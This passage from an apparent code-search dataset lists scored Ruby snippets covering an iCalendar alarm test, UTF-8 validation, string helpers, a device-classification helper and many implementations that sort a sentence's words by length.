<<BLA\nBEGIN:VCALENDAR\nBEGIN:VTODO\nDTSTAMP:20121003T064931Z\nUID:b848cb9a7bb16e464a06c222ca1f8102@examle.com\nSTATUS:NEEDS-ACTION\nDUE:20121005T000000Z\nSUMMARY:Task 1\nCATEGORIES:AlarmCategory\nBEGIN:VALARM\nTRIGGER:-PT10M\nACTION:DISPLAY\nDESCRIPTION:Task 1\nEND:VALARM\nEND:VTODO\nEND:VCALENDAR\nBLA\n\n vobj = Tilia::VObject::Reader.read(input)\n\n assert(vobj['VTODO']['VALARM'].in_time_range?(Time.zone.parse('2012-10-01 00:00:00'), Time.zone.parse('2012-11-01 00:00:00')))\n end", "title": "" }, { "docid": "18b4f21f41d9fa39697882ea36005cbd", "score": "0.4453002", "text": "def validate(str)\n re = /\\\\u[0-9a-fA-F]{4}/\n str.gsub(re) {|match| Array(match[2..5].to_i(16)).pack('U')}\nend", "title": "" }, { "docid": "0d5672664e9edb9406a59c6c91a2dc2d", "score": "0.44472545", "text": "def guess_purpose_from_match(match)\n # some data that is sent to this is numeric; we do not want that\n pstr = \"\"\n # Go through each character of each value and make sure it is all\n # UTF-8\n match.values.each do |i|\n if i.respond_to?(:encoding)\n i.each_char do |j|\n begin\n pstr << j.downcase.encode(\"UTF-8\")\n rescue Encoding::UndefinedConversionError\n # rescue Encoding::UndefinedConversionError => e\n # this works in Framework, but causes a Travis CI error\n # elog(\"Found incompatible (non-ANSI) character in guess_purpose_from_match\")\n end\n end\n end\n end\n # Loosely map keywords to specific purposes\n case pstr\n when /windows server|windows (nt|20)/\n 'server'\n when /windows (xp|vista|[78]|10)/\n 'client'\n when /printer|print server/\n 'printer'\n when /router/\n 'router'\n when /firewall/\n 'firewall'\n when /linux/\n 'server'\n else\n 'device'\n end\n end", "title": "" }, { "docid": "8483ef38aaa609683d0b5aca26061d3e", "score": "0.44446534", "text": "def uuid_v5(uuid_namespace, name); end", "title": "" }, { "docid": "6f3a54156997dff128030212599720e2", "score": "0.4442174", "text": "def check_uuid(old_uuid, new_uuid)\n if old_uuid != new_uuid\n raise Searchkick::Error, \"Safety check failed - only run one Model.reindex per model at a time\"\n end\n end", "title": "" }, { "docid": "278176253c38d44cb9d4c02097ad5a61", "score": "0.44363353", "text": "def test_upcase_mixed\n namer = Namer.new \"zErOcOoL\"\n assert_equal \"ZEROCOOL\", namer.upcase\n end", "title": "" }, { "docid": "278176253c38d44cb9d4c02097ad5a61", "score": "0.44363353", "text": "def test_upcase_mixed\n namer = Namer.new \"zErOcOoL\"\n assert_equal \"ZEROCOOL\", namer.upcase\n end", "title": "" }, { "docid": "3a2ba1206851a424b3bf45cbe52764f7", "score": "0.4436141", "text": "def normalize_utf8(string)\n raise NotImplementedError\n end", "title": "" }, { "docid": "fd4395c75c0a711f7b1738a232d323ac", "score": "0.44351023", "text": "def test_0020_check_raise_badbyte\n #\n assert_raise(UTF8::ValidationError) do\n !@validator.valid_encoding?(\"a\" + 0xff.chr + \"b\", true)\n end\n end", "title": "" }, { "docid": "0a574e4a2cd83d2523f95c5775fe216c", "score": "0.44345018", "text": "def upper_bound\n UPPER_BOUND\n end", "title": "" }, { "docid": "5a4d6c9f7862eae83c9903140b510ab9", "score": "0.44334984", "text": "def irregular_resource_name; end", "title": "" }, { "docid": "285f8938234ac644e33afc92c88c4000", "score": "0.44250858", "text": "def test_eql_range\n assert (@r11 == (@ib..@ie))\n assert_equal @r11, (@ib..@ie)\n assert (@r11 != @r12)\n assert_equal @r12, (@ib...@ie)\n assert_equal @r11, @s11\n assert (@r11 != @s12)\n assert (@r11 != @s21)\n assert (@r11 != @s22)\n assert_equal @r12, @s12\n assert (@r12 != @s11)\n assert (@r12 != @s21)\n assert (@r12 != @s22)\n assert (@r12 != 'K')\n assert (@r12 != @ib)\n end", "title": "" }, { "docid": "f11247893d3204db6adfb1eef7a11934", "score": "0.4423279", "text": "def to_RNA(string)\n\t\t string.gsub(\"T\", \"U\")\n\tend", "title": "" }, { "docid": "7c5fca8e25c8c306041a27459151f660", "score": "0.44190675", "text": "def test_ssm_range_none\n %w(ipv4).each do |afi|\n create_single_ssm_range_none_single_vrf(afi)\n end\n end", "title": "" }, { "docid": "c172431e4a11c4c5097410db25a9faf3", "score": "0.44130924", "text": "def future_passive_infinitive\n return supine[:accusative] + \" īrī\"\n end", "title": "" }, { "docid": "73283d2d326d585b9d15bc2080f61a6b", "score": "0.44100484", "text": "def _valid_utf8?(string)\n case RUBY_VERSION\n when /1\\.8\\.[56]/\n bytes = []\n 0.upto(string.length-1) {|i|\n bytes << string[i]\n }\n else\n bytes = string.bytes\n end\n\n #\n valid = true\n index = -1\n state = \"start\"\n #\n bytes.each do |next_byte|\n index += 1\n case state\n\n # State: 'start'\n # The 'start' state:\n # * handles all occurrences of valid single byte characters i.e., the ASCII character set\n # * provides state transition logic for start bytes of valid characters with 2-4 bytes\n # * signals a validation failure for all other single bytes\n #\n when \"start\"\n # puts \"state: start\" if DEBUG\n case next_byte\n\n # ASCII\n # * Input = 0x00-0x7F : change state to START\n when (0x00..0x7f)\n # puts \"state: start 1\" if DEBUG\n state = \"start\"\n\n # Start byte of two byte characters\n # * Input = 0xC2-0xDF: change state to A\n when (0xc2..0xdf)\n # puts \"state: start 2\" if DEBUG\n state = \"a\"\n\n # Start byte of some three byte characters\n # * Input = 0xE1-0xEC, 0xEE-0xEF: change state to B\n when (0xe1..0xec)\n # puts \"state: start 3\" if DEBUG\n state = \"b\"\n when (0xee..0xef)\n # puts \"state: start 4\" if DEBUG\n state = \"b\"\n\n # Start byte of special three byte characters\n # * Input = 0xE0: change state to C\n when 0xe0\n # puts \"state: start 5\" if DEBUG\n state = \"c\"\n\n # Start byte of the remaining three byte characters\n # * Input = 0xED: change state to D\n when 0xed\n # puts \"state: start 6\" if DEBUG\n state = \"d\"\n\n # Start byte of some four byte characters\n # * Input = 0xF1-0xF3:change state to E\n when (0xf1..0xf3)\n # puts \"state: start 7\" if DEBUG\n state = \"e\"\n\n # Start byte of special four byte characters\n # * Input = 0xF0: change state to F\n when 0xf0\n # puts \"state: start 8\" if DEBUG\n state = \"f\"\n\n # Start byte of very special four byte characters\n # * Input = 0xF4: change state to G\n when 0xf4\n # puts \"state: start 9\" if DEBUG\n state = \"g\"\n\n # All other single characters are invalid\n # * Input = Others (0x80-0xBF,0xC0-0xC1, 0xF5-0xFF): ERROR\n else\n valid = false\n break\n end # of the inner case, the 'start' state\n\n # The last continuation byte of a 2, 3, or 4 byte character\n # State: 'a'\n # o Input = 0x80-0xBF: change state to START\n # o Others: ERROR\n when \"a\"\n # puts \"state: a\" if DEBUG\n if (0x80..0xbf) === next_byte\n state = \"start\"\n else\n valid = false\n break\n end\n\n # The first continuation byte for most 3 byte characters\n # (those with start bytes in: 0xe1-0xec or 0xee-0xef)\n # State: 'b'\n # o Input = 0x80-0xBF: change state to A\n # o Others: ERROR\n when \"b\"\n # puts \"state: b\" if DEBUG\n if (0x80..0xbf) === next_byte\n state = \"a\"\n else\n valid = false\n break\n end\n\n # The first continuation byte for some special 3 byte characters\n # (those with start byte 0xe0)\n # State: 'c'\n # o Input = 0xA0-0xBF: change state to A\n # o Others: ERROR\n when \"c\"\n # puts \"state: c\" if DEBUG\n if (0xa0..0xbf) === next_byte\n state = \"a\"\n else\n valid = false\n break\n end\n\n # The first continuation byte for the remaining 3 byte characters\n # (those with start byte 0xed)\n # State: 'd'\n # o Input = 0x80-0x9F: change state to A\n # o Others: ERROR\n when \"d\"\n # puts \"state: d\" if DEBUG\n if (0x80..0x9f) === next_byte\n state = \"a\"\n else\n valid = false\n break\n end\n\n # The first continuation byte for some 4 byte characters\n # (those with start bytes in: 0xf1-0xf3)\n # State: 'e'\n # o Input = 0x80-0xBF: change state to B\n # o Others: ERROR\n when \"e\"\n # puts \"state: e\" if DEBUG\n if (0x80..0xbf) === next_byte\n state = \"b\"\n else\n valid = false\n break\n end\n\n # The first continuation byte for some special 4 byte characters\n # (those with start byte 0xf0)\n # State: 'f'\n # o Input = 0x90-0xBF: change state to B\n # o Others: ERROR\n when \"f\"\n # puts \"state: f\" if DEBUG\n if (0x90..0xbf) === next_byte\n state = \"b\"\n else\n valid = false\n break\n end\n\n # The first continuation byte for the remaining 4 byte characters\n # (those with start byte 0xf4)\n # State: 'g'\n # o Input = 0x80-0x8F: change state to B\n # o Others: ERROR\n when \"g\"\n # puts \"state: g\" if DEBUG\n if (0x80..0x8f) === next_byte\n state = \"b\"\n else\n valid = false\n break\n end\n\n #\n else\n raise RuntimeError, \"state: default\"\n end\n end\n #\n # puts \"State at end: #{state}\" if DEBUG\n # Catch truncation at end of string\n if valid and state != 'start'\n # puts \"Resetting valid value\" if DEBUG\n valid = false\n end\n #\n valid\n end", "title": "" }, { "docid": "67ddd7668ece2b8a2c0a0c071de7d84b", "score": "0.44078147", "text": "def inverted_claim_code\n 255 - claim_code\n end", "title": "" }, { "docid": "e88395955fe72d04658b3e1fbe9118bd", "score": "0.44075683", "text": "def non_unique_letters(str)\nend", "title": "" }, { "docid": "e88395955fe72d04658b3e1fbe9118bd", "score": "0.44075683", "text": "def non_unique_letters(str)\nend", "title": "" }, { "docid": "b27852bab0d3144aa9b257905353e53f", "score": "0.4404839", "text": "def scrub_name name\n\traise \"too few letters in #{name}\" unless name.length >= 1\n\traise \"too many letters in #{name}\" unless name.length <= 16\n\traise \"illegal characters in #{name}\" unless /^[a-zA-z]/.match name\n\n\treturn\n\nend", "title": "" }, { "docid": "8b878996087aadf159813265c7142499", "score": "0.44028017", "text": "def parse_range\n val = super || return\n return val.begin if val.begin == val.end\n\n val.reverse! if limit.index(val.begin) > limit.index(val.end)\n val\n end", "title": "" }, { "docid": "2a46d905b5bdd47405f301c67b6ae2c8", "score": "0.43980134", "text": "def next_vowel(char)\r\n vowels_arr = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n if char == \"u\"\r\n return \"a\"\r\n elsif char == \"U\"\r\n return \"A\"\r\n elsif char == char.downcase\r\n return vowels_arr[vowels_arr.index(char.downcase) + 1]\r\n else\r\n return vowels_arr[vowels_arr.index(char.downcase) + 1].upcase\r\n end\r\nend", "title": "" }, { "docid": "19d1aeb159c2ee45a90deb85a43b7afc", "score": "0.43971083", "text": "def find_missing_letter(range)\n letter_range = (range.chars[0]..range.chars[-1]).to_a \n\n if letter_range.length != range.chars.length\n letter_range.each do |letter| \n if range.chars.include?(letter) == false\n return letter\n end\n end \n else\n nil\n end \nend", "title": "" }, { "docid": "fd0ed16f09ff345279b2cc5ece60e3a5", "score": "0.43950745", "text": "def to_mask\n to_limit - 1\n end", "title": "" }, { "docid": "363f5354c62d45f70d3e47a8c75de6fe", "score": "0.43926936", "text": "def test_180_select()\n TestVals.each do |sVal|\n bs = BitString.new(sVal)\n aVal = bs.select { |bit| true }\n aVal = aVal.collect { |num| num.to_s }.join('').reverse\n sVal_e = sVal.gsub(/^0+(.)/, '\\1')\n assert_equal(sVal_e,\n aVal,\n \"Test unbounded select block('#{sVal}')\")\n #\n # And again for a bounded value.\n #\n bs = BitString.new(sVal, sVal.length)\n aVal = bs.select { |bit| true }\n aVal = aVal.collect { |num| num.to_s }.join('').reverse\n assert_equal(sVal,\n aVal,\n \"Test bounded select block('#{sVal}')\")\n end\n end", "title": "" }, { "docid": "0be2544ba4d95893ad909efd751764b7", "score": "0.43915373", "text": "def uuid_v3(uuid_namespace, name); end", "title": "" }, { "docid": "fb0c9e6fc3834d56a8c3d89e35fb3f33", "score": "0.438963", "text": "def find_missing_letter(range)\n\n #turns range into an array of the characters value\n string_values = []\n range.split(\"\").each {|letter| string_values << letter.ord}\n\n missing_letters = \"\"\n num = string_values.min\n\n until num == string_values.max\n if string_values.include?(num)\n num += 1\n else\n missing_letters += num.chr\n num += 1\n end\n end\n\n return nil if missing_letters.length == 0\n missing_letters\n\nend", "title": "" }, { "docid": "67eb6456725038b2565eafabd53bbf5f", "score": "0.4389415", "text": "def compose_not_range_string(table, column_name, allowed, range_string)\n compose_range_string(table, column_name, allowed, range_string).not\n end", "title": "" }, { "docid": "c89df6722c74cbead6e748519541e721", "score": "0.43888512", "text": "def name_source_range; end", "title": "" }, { "docid": "65c8c4628be05bae66b2d401eec8c8c5", "score": "0.43854478", "text": "def out_of_bounds?; end", "title": "" }, { "docid": "d111cf758577450fd9066cec74e61d54", "score": "0.437909", "text": "def [](index_or_range)\n if index_or_range.kind_of?(Symbol)\n return super(index_or_range)\n elsif index_or_range.kind_of?(Range)\n start = index_or_range.begin\n stop = index_or_range.end\n\n return @payload.get_array_of_uint8(start,stop - start)\n else\n return @payload.get_uint8(index_or_range)\n end\n end", "title": "" } ]
e0878e503c9bfb5692168489da5139d7
sorted by the length of the word. Time complexity: 0(n) n being the length a loop based off of n Space complexity: ?
[ { "docid": "f930679c96a71e823867fc492316d581", "score": "0.6970412", "text": "def sort_by_length(my_sentence)\n # verify input. if only one word, return word\n if my_sentence.length == 1\n return []\n elsif\n # split input sentence into array\n my_sentence_array = my_sentence.split\n # save length of array to varialbe\n my_sentence_array_length = my_sentence_array.length\n # start loop \n loop do \n # set swapped to false\n swapped = false\n # create times loop and go over each index in array until (length - 1)\n (my_sentence_array_length - 1).times do |index|\n # check if index[0].length is greater than index[1].length\n if my_sentence_array[index].length > my_sentence_array[index + 1].length\n # if condition above is true...swap those two indexes with each other - this is the swapping\n my_sentence_array[index], my_sentence_array[index + 1] = my_sentence_array[index + 1], my_sentence_array[index]\n # change swapped value to true so that the loop continues\n swapped = true\n end\n end\n # if no swaps, then input is in order and break out of loop\n break if not swapped \n end\n # return expected output\n return my_sentence_array\n end\nend", "title": "" } ]
[ { "docid": "e387e9f6d316f38532b0af1bd46d41cf", "score": "0.8059226", "text": "def sort_by_length(my_sentence)\n array_of_word = my_sentence.split(\" \")\n i = 0\n while i < array_of_word.length - 1\n j = 0\n while j < array_of_word.length - i - 1\n if array_of_word[j].length > array_of_word[j+1].length\n temp = array_of_word[j]\n array_of_word[j] = array_of_word[j + 1]\n array_of_word[j + 1] = temp\n end\n j += 1\n end\n i += 1\n end\n return array_of_word\nend", "title": "" }, { "docid": "2a58946dd415ae1907544febd2576bce", "score": "0.79747486", "text": "def sort_by_length(my_sentence)\n # raise NotImplementedError, \"Method not implemented\"\n word_array = my_sentence.split(\" \")\n i = 0\n while i < word_array.length\n j = i + 1\n while j < word_array.length\n if word_array[i].length > word_array[j].length\n temp = word_array[i]\n word_array[i] = word_array[j]\n word_array[j] = temp\n # else\n # break\n end\n j += 1\n end\n i += 1\n end\n return word_array\nend", "title": "" }, { "docid": "109f279c3a3cf8daa1b9bec12a2102ed", "score": "0.79742336", "text": "def sort_by_length(my_sentence)\n words = my_sentence.split(\" \")\n # print words\n #************\n length = words.length\n i = 0\n while i < length - 1\n j = 0\n while j < length - i - 1\n if words[j].length > words[j + 1].length\n temp = words[j]\n words[j] = words[j + 1]\n words[j + 1] = temp\n end\n j += 1\n end\n i += 1\n end\n return words\nend", "title": "" }, { "docid": "4c7aaf30f2f12691013047bece1ddfc4", "score": "0.7862383", "text": "def sort_by_length(my_sentence)\n return [] if my_sentence == \"\"\n \n words_arr = my_sentence.split(\" \")\n i = 0 \n while i < words_arr.length-1\n min_index = i \n j = i + 1 \n while j < words_arr.length \n if words_arr[j].length < words_arr[min_index].length\n min_index = j \n end \n j += 1\n end \n if min_index != i \n temp = words_arr[min_index]\n words_arr[min_index] = words_arr[i]\n words_arr[i] = temp\n end \n i += 1 \n end \n return words_arr\nend", "title": "" }, { "docid": "6d2404136cc2354d02963b37e1e0b722", "score": "0.7841811", "text": "def sort_by_length(my_sentence) \n words = my_sentence.split(\" \")\n\n i = 1 \n\n while i < words.length # outer loop ( 1 ~ words.length - 1)\n to_insert = words[i]\n j = i \n\n # while j is greater than 0 and words[j - 1].length is greater than to_insert.length\n while j > 0 && words[j - 1].length > to_insert.length\n words[j] = words[j - 1] \n\n j -= 1 # decrement j by 1\n end \n\n words[j] = to_insert \n i += 1 \n end \n\n return words\nend", "title": "" }, { "docid": "c4096c26ba9226072ea779bcbba40a36", "score": "0.7831038", "text": "def sort_by_length(my_sentence)\n if my_sentence.length == 0\n return []\n end\n\n word_array = my_sentence.split(\" \")\n length = word_array.length\n i = 0\n \n while i < length - 1\n min_index = i\n j = i + 1\n while j < length\n if word_array[j].length < word_array[min_index].length\n min_index = j\n end\n j += 1\n end\n if min_index != i\n temp = word_array[min_index]\n word_array[min_index] = word_array[i]\n word_array[i] = temp\n end\n i += 1\n end \n return word_array\nend", "title": "" }, { "docid": "f18da188655c85ccc6f76c941a9c7eee", "score": "0.78248006", "text": "def sort_by_length(my_sentence)\n words = my_sentence.split(\" \")\n results = []\n words.each do |word|\n if results.length > 0\n results.each_with_index do |result, index|\n if word.length < result.length\n results.insert(index, word)\n break\n elsif index == (results.length - 1)\n results << word\n break\n end\n end\n else\n results << word\n end\n end \n return results\nend", "title": "" }, { "docid": "49775974e3ebb1d2816c0c006ff53256", "score": "0.7813449", "text": "def sort_by_length(my_sentence)\n return nil if my_sentence.nil?\n \n my_sorted_array = []\n my_array = my_sentence.split\n \n until my_array.length == 0 do\n current_word = my_array[0]\n my_array.each do |word|\n if word.length < current_word.length\n current_word = word\n end\n end\n my_sorted_array.push(current_word)\n my_array.delete(current_word)\n end\n return my_sorted_array\nend", "title": "" }, { "docid": "8541f32eec07baeb3914d5eb56e1e847", "score": "0.78055406", "text": "def sort_by_length(my_sentence)\n word_array = my_sentence.split(/[[:space:]]/)\n i = 1\n while i < word_array.length\n insert = word_array[i]\n j = i\n while j > 0 && word_array[j - 1].length > insert.length\n word_array[j] = word_array[j-1]\n j -= 1\n end\n word_array[j] = insert\n i += 1\n end\n return word_array\nend", "title": "" }, { "docid": "b97682e6d5ed13f0b2ced2572c1c1290", "score": "0.7781912", "text": "def sort_by_length(my_sentence)\n words_array = my_sentence.split\n num_words = words_array.length\n i = 0\n \n while i < num_words - 1\n j = 0\n \n while j < (num_words - i - 1)\n if words_array[j].length > words_array[j+1].length\n temp = words_array[j]\n words_array[j] = words_array[j + 1]\n words_array[j + 1] = temp\n end\n j += 1\n end\n i += 1\n end\n return words_array\nend", "title": "" }, { "docid": "6711545a5883403c7e078d5bd7dfe091", "score": "0.7756685", "text": "def sort_by_length(my_sentence)\n # check for empty array\n return [] if my_sentence.empty?\n\n # split by whitespace, this SHOULD be an O(n) operation\n # since you must go through the length of the string\n unsorted = my_sentence.split(' ') # creation of new array leads to O(n) space complexity\n return unsorted if unsorted.length == 1\n # shovel array\n sorted = [] # another O(n) space complexity operation\n # add the first element; by this point, all arrays have at least tweo\n insert = unsorted.shift\n sorted.append(insert) # since this is ALWAYS a single element, SHOULD be O(1)\n # outer loop, O(n) to go through unsorted array\n until unsorted.empty?\n insert = unsorted.shift\n i = sorted.length - 1\n # inner loop to find index to insert after, O(n) per iteration of outer loop\n while i >= 0 && insert.length < sorted[i].length\n i -= 1\n end\n # insert when found\n # O(n) operation that adds to time complexity of nested loop without increasing Big O further\n sorted.insert(i + 1, insert)\n end\n sorted\nend", "title": "" }, { "docid": "2dff7cf5e7808db4b1990978e8a84a24", "score": "0.77416736", "text": "def sort_by_length(sentence)\n word_arr = sentence.split(\" \")\n\n for j in 1...word_arr.length\n key_word = word_arr[j]\n i = j - 1\n\n while i >= 0 && word_arr[i].length > key_word.length\n # swap necessary, so update word_arr[i+1] with the value at word_arr[i]\n word_arr[i+1] = word_arr[i]\n i -= 1\n end\n \n word_arr[i+1] = key_word\n end \n\n return word_arr\nend", "title": "" }, { "docid": "456455ef2d6fbdc72d26bac3e731c92b", "score": "0.7740844", "text": "def sort_by_length(my_sentence)\n if my_sentence == \"\"\n return []\n else \n my_arr = my_sentence.split\n sorted_arr = []\n index = 0\n sorted_arr<< my_arr.shift\n my_arr.each do |word|\n if word.length < sorted_arr[index].length \n sorted_arr.insert(index,word)\n elsif index+1 == sorted_arr.size\n sorted_arr<< word\n end\n index +=1\n end\n end\n return sorted_arr\nend", "title": "" }, { "docid": "314b9183b4cef788b5ee90adabc4759f", "score": "0.7733322", "text": "def sort_by_length(my_sentence)\n # raise NotImplementedError, \"Method not implemented\"\n return nil if my_sentence.nil?\n i = 0\n arr = my_sentence.split(' ')\n while i < arr.length\n min_length_index = i\n j = i\n while j < arr.length\n min_length_index = j if arr[j].length < arr[min_length_index].length\n j += 1\n end\n temp = arr[i]\n arr[i] = arr[min_length_index]\n arr[min_length_index] = temp\n i += 1 \n end\n return arr\nend", "title": "" }, { "docid": "91ce882ae15b1407f76b5ce80dc1c7c0", "score": "0.7729766", "text": "def sort_by_length(my_sentence)\n sorted_array = my_sentence.split(\" \")\n sorted_array.each_with_index do |word, index|\n if index > 0\n index.times do |i|\n prev_word = sorted_array[index - (i + 1)]\n if word.length < prev_word.length\n sorted_array[index] = prev_word\n sorted_array[index - (i + 1)] = word\n end\n end\n end\n end\n return sorted_array\nend", "title": "" }, { "docid": "5d294751d8b6c5472e712d0ba00974fe", "score": "0.77163815", "text": "def sort_by_length(my_sentence)\n word_array = my_sentence.split(\" \")\n i = 1\n while i < word_array.length\n to_insert = word_array[i]\n j = i\n while j > 0 && word_array[j-1].length > to_insert.length\n word_array[j] = word_array[j-1]\n j -= 1\n end\n word_array[j] = to_insert\n i += 1\n end\n return word_array\n \nend", "title": "" }, { "docid": "2cabbfe34f8be5f4edfa51531c709233", "score": "0.76903903", "text": "def words_by_length(str)\n words = str.split\n words.sort_by {|word| word.length}\nend", "title": "" }, { "docid": "51708876861219d7452f9002b2b64367", "score": "0.76872516", "text": "def sort_by_length(my_sentence)\n array = my_sentence.split(\" \")\n i = 1\n while i < array.length()\n temp = array[i]\n j = i - 1\n while j >= 0 && temp.length() < array[j].length()\n array[j+1] = array[j]\n j -=1\n end\n array[j+1] = temp\n i += 1\n end\n return array\nend", "title": "" }, { "docid": "1bd5e9debd5f769e990f945b0fafe2d9", "score": "0.7654994", "text": "def sort_by_word_length\n @sorted_words || self.flatten\n .sort_by {|word| word.length}\n end", "title": "" }, { "docid": "b6efaece0636bb8c8e78c5054399cce1", "score": "0.7650439", "text": "def sort_by_length(my_sentence)\n return [] if my_sentence.length == 0\n words = my_sentence.split(\" \")\n ordered_words = []\n\n words.length.times do\n longest_word = String.new\n words.each do |word|\n if word.length >= longest_word.length\n longest_word = word\n end\n end\n ordered_words.insert(0, longest_word)\n words.delete(longest_word)\n end \n\n return ordered_words\n # raise NotImplementedError, \"Method not implemented\"\nend", "title": "" }, { "docid": "3607ac59eed4e64fd7232497f8f2942e", "score": "0.7644526", "text": "def sort_by_length(my_sentence)\n array = my_sentence.split(\" \")\n\n (array.length-1).times do |i| \n start_index = i \n (array.length).times do |j|\n j= i+1\n if array[start_index].length > array[j].length\n start_index = j\n temp = array[start_index]\n array[start_index] = array[i]\n array[i] = temp\n end \n end \n end \n return array\nend", "title": "" }, { "docid": "3c2ad3093d2554a4f6376aeaf3554b4e", "score": "0.76412785", "text": "def sort_by_length(my_sentence)\n # split sentence into array of strings\n my_sentence_words = my_sentence.split(\" \") \n array_length = my_sentence_words.length\n i = 1\n # set condition for outer loop to run\n while i < array_length\n # declare value for word to be considered \n to_insert = my_sentence_words[i] \n j = i # j = 4\n # set conditions for inner loop to run\n while j > 0 && my_sentence_words[j-1].length > to_insert.length \n # if conditions evaluate true, move word at [j] down one position\n my_sentence_words[j] = my_sentence_words[j-1] \n # decrement counter for inner loop\n j -= 1 \n end\n # not 100 percent sure what this variable is doing but I know it's necessary\n my_sentence_words[j] = to_insert \n # increment counter for outer loop\n i += 1 \n end\n return my_sentence_words\nend", "title": "" }, { "docid": "407a49944c8af527a4346154164fb895", "score": "0.76371884", "text": "def sort_by_length(arr)\n arr.size.times.each do |t|\n i=0\n arr.each do |word|\n if word.length > arr[i+1].length\n arr[i],arr[i+1] = arr[i+1],arr[i]\n end\n i+=1 if i < arr.size-2\n end\n end\n return arr\nend", "title": "" }, { "docid": "1b37a7a2342ff0aa36a162d088c1138f", "score": "0.76343215", "text": "def sort_by_length(my_sentence)\n split_strings = my_sentence.split(\" \")\n i = 1\n\n while i < split_strings.length\n j = i\n\n while j > 0\n if split_strings[j].length < split_strings[(j-1)].length\n temp = split_strings[j]\n split_strings[j] = split_strings[j-1]\n split_strings[j-1] = temp\n else\n break\n end\n j -= 1\n end\n\n i += 1\n end\n\n return split_strings\nend", "title": "" }, { "docid": "8622813154f97592e6d61f109e96f954", "score": "0.76236594", "text": "def sort_by_length(my_sentence)\n if my_sentence.length == nil\n return []\n end\n \n # split string sentence into array (took this from my Exercism assignment)\n my_sentence = my_sentence.split(/[^\\w']+/)\n \n # iterate through my_sentence array\n # if word.length at index > word.length at index+1\n # swap words\n # else keep words in place\n # iterate to next word\n # end\n \n i = 0\n while i < (my_sentence.length - 1)\n j = 0\n while j < my_sentence.length - i - 1\n if (my_sentence[j].length) > (my_sentence[j+1]).length\n temp = my_sentence[j]\n my_sentence[j] = my_sentence[j+1]\n my_sentence[j+1] = temp\n end\n j += 1\n end\n i += 1\n end\n \n return my_sentence\nend", "title": "" }, { "docid": "c4e0e2caea4dac129888ccec23bc71b5", "score": "0.7611291", "text": "def sort_by_length(my_sentence)\n unless my_sentence.length > 0 \n return []\n end \n\n length = my_sentence.length \n space_index = []\n i = 0 \n\n while i < length \n if my_sentence[i] == \" \"\n space_index << i\n end \n i +=1\n end \n space_index << (length)\n array_words = []\n j = 0\n\n space_index.each do |index|\n if j == 0 \n array_words << my_sentence[j...index]\n else \n last = space_index[j-1]\n array_words << my_sentence[(last+1)...index]\n end \n j += 1 \n end \n\n # sort the array \n m = array_words.length - 1 \n while m > 0 \n\n k = 0 \n while k < array_words.length - 1 \n temp =[]\n if array_words[k].length > array_words[k+1].length\n temp = array_words[k]\n array_words[k] = array_words[k+1]\n array_words[k+1] = temp\n end \n # puts \"#{array_words[k]} <-> #{array_words[k+1]} \"\n k += 1\n end \n m -= 1\n end \n\n return array_words\n raise NotImplementedError, \"Method not implemented\"\nend", "title": "" }, { "docid": "56056b237afcb521a5edce2f1dcc5d6d", "score": "0.76079303", "text": "def sort_by_length(my_sentence)\n #insertion sort \n array_words = my_sentence.split(\" \")\n \n i = 1\n while i < array_words.length \n j = i \n while j > 0 && array_words[j - 1].length > array_words[j].length\n array_words[j - 1], array_words[j] = array_words[j],array_words[j - 1]\n j -= 1\n end\n i += 1\n end\n \n return array_words\n end", "title": "" }, { "docid": "3d238dc20b22d9087e1a42da96de13d3", "score": "0.7594095", "text": "def sort_by_length(my_sentence)\n array_of_words = []\n\n if my_sentence == \"\"\n return array_of_words\n end\n\n array_of_words = my_sentence.split\n\n first_word = array_of_words[0]\n (1..array_of_words.length-1).each do |i|\n current_word = array_of_words[i]\n if current_word.length < first_word.length\n array_of_words[i] = first_word\n array_of_words[i-1] = current_word\n end\n first_word = current_word\n end\n return array_of_words\nend", "title": "" }, { "docid": "e63b08f1c6c60b3b19e74454ce100230", "score": "0.75853604", "text": "def sort_by_length(my_sentence)\n my_sentence_array = my_sentence.split(\" \")\n \n i = 1\n \n while i < my_sentence_array.length\n comparison_index = i\n j = i - 1\n \n i.times do\n if my_sentence_array[comparison_index].length < my_sentence_array[j].length\n new_comparison_index = my_sentence_array[j]\n new_j = my_sentence_array[comparison_index]\n \n my_sentence_array[comparison_index] = new_comparison_index\n my_sentence_array[j] = new_j\n end\n j -= 1\n comparison_index -= 1\n end\n i += 1\n end\n \n return my_sentence_array\nend", "title": "" }, { "docid": "055832e2424a837e8516da6bfdc77494", "score": "0.7551865", "text": "def sort_by_length(my_sentence)\n new_array = []\n\n my_sentence = my_sentence.split(\" \")\n my_sentence.each do |word|\n if new_array.length == 0\n new_array.push(word)\n elsif word.length <= new_array.first.length\n new_array.unshift(word)\n elsif word.length >= new_array.last.length\n new_array.push(word)\n else \n new_array.each do |term|\n if word.length < term.length\n placement = new_array.index(term)\n new_array.insert(placement, word)\n break\n end \n end \n end \n end \n return new_array\nend", "title": "" }, { "docid": "afe587f57d24a3607b13f5385f4e2378", "score": "0.75431514", "text": "def sort_by_length(my_sentence)\n array = my_sentence.gsub(/[^a-zA-Z ]/, \"\").split(\" \")\n i = 1\n while i < array.length\n insert = array[i]\n j = i - 1\n while j >= 0 && array[j].length > insert.length\n array[j+1] = array[j]\n j -= 1\n end\n array[j+1] = insert\n i += 1\n end\n return array\nend", "title": "" }, { "docid": "1c2f3373a2ff8ec185bd3cfe891e032d", "score": "0.7539287", "text": "def sort_by_length(my_sentence)\n \n # I'm assuming split is O(n), \n # can't imagine it needing more than one pass through n\n sent_array = my_sentence.split(\" \")\n count = sent_array.length\n \n if count == 0\n return sent_array\n end\n \n i = 1\n while i < count\n to_insert = sent_array[i]\n j = i\n \n while j > 0 && sent_array[j-1].length > to_insert.length\n sent_array[j] = sent_array[j-1]\n j -= 1\n end\n \n sent_array[j] = to_insert\n i += 1\n end\n \n return sent_array\nend", "title": "" }, { "docid": "f3827e30a913a845e40d5a9e00b0cbbf", "score": "0.74778056", "text": "def sort_by_length(my_sentence)\n array = my_sentence.split(\" \")\n i = 1\n while i < array.length()\n temp = array[i]\n # puts temp\n j = i - 1\n while j >= 0 && temp.length() < array[j].length()\n array[j + 1] = array[j]\n j -= 1\n end\n array[j + 1] = temp\n i += 1\n end\n return array\nend", "title": "" }, { "docid": "d04995dce7f062c34dd3f7c1c3e644fd", "score": "0.74700433", "text": "def sort_by_length(my_sentence)\n sentence_array = my_sentence.split(\" \")\n \n x = 0\n while x < sentence_array.length - 1 do \n y = 0\n while y < (sentence_array.length - x - 1) do\n if sentence_array[y].length > sentence_array[y+1].length\n holder = sentence_array[y]\n sentence_array[y] = sentence_array[y+1]\n sentence_array[y+1] = holder\n end\n y += 